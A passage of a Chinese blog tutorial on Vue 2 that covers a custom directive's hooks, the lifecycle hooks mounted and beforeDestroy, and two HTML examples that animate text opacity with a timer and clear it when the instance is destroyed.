                element.innerHTML=binding.value*10;
            },
            //对象式
            fbind:{
                //指令与元素成功绑定时(一上来)
                bind(element,binding){
                    element.value=binding.value
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                //指令所在模板被重新解析时
                update(element,binding){
                    element.value=binding.value
                    element.focus()
                }
            }
        }
    })
</script>
</html>

1.18 生命周期

常用的生命周期钩子:
  1. **mounted:**发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
  2. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】
关于销毁Vue实例:
  1. 销毁后借助Vue开发者工具看不到任何信息
  2. 销毁后自定义事件会失效,但原生DOM事件依然有效
  3. 一般不会在beforeDestroy操作数据,因为即使操作数据,也不会再触发更新流程了

在这里插入图片描述

1.18.1 引出生命周期
  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子
  2. 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  4. 生命周期中的this指向是vm或组件实例对象
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>引出生命周期.html</title>
    <script type="text/javascript" src="js/vue.js"></script>
    <script type="text/javascript" src="js/dayjs.min.js"></script>
</head>
<body>
<!--
    生命周期:
        1.又名:生命周期回调函数、生命周期函数、生命周期钩子
        2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
        3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
        4.生命周期中的this指向是vm或组件实例对象
-->
<div id="root">
    <h2 v-if="a">你好啊</h2>
    <h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:'#root',
        data:{
            opacity:1,
            a:false
        },
        methods:{
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted(){
            setInterval(()=>{
                this.opacity-=0.01
                if (this.opacity<=0){
                    this.opacity=1
                }
            },16)
        }
    })

    //通过外部的定时器实现(不推荐)
    /*
    setInterval(function (){
        vm.opacity-=0.01
        if (vm.opacity<=0){
            vm.opacity=1
        }
    },16)
    */
</script>
</html>
1.18.2 挂载流程
1.18.3 更新流程
1.18.3 销毁流程
1.18.4 总结
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>总结生命周期.html</title>
    <script type="text/javascript" src="js/vue.js"></script>
    <script type="text/javascript" src="js/dayjs.min.js"></script>
</head>
<body>
<!--
    常用的生命周期钩子:
        1.mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
        2.beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】

    关于销毁Vue实例:
        1.销毁后借助Vue开发者工具看不到任何信息
        2.销毁后自定义事件会失效,但原生DOM事件依然有效
        3.一般不会在beforeDestroy操作数据,因为即使操作数据,也不会再触发更新流程了
-->
<div id="root">
    <h2 v-if="a">你好啊</h2>
    <h2 :style="{opacity}">欢迎学习Vue</h2>
    <button @click="stop">点我停止变换</button>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
        el: '#root',
        data: {
            opacity: 1,
            a: false
        },
        methods: {
            stop() {
                //clearInterval(this.timer)
                this.$destroy()
            }
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted() {
            console.log('mounted',this)
            this.timer=setInterval(() => {
                console.log('timer')
                this.opacity -= 0.01
                if (this.opacity <= 0) {
                    this.opacity = 1
                }
            }, 16)
        },
        beforeDestroy() {
            console.log('vm即将驾鹤西游了')
            clearInterval(this.timer)
        }
    })

</script>
</html>

  • 15
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值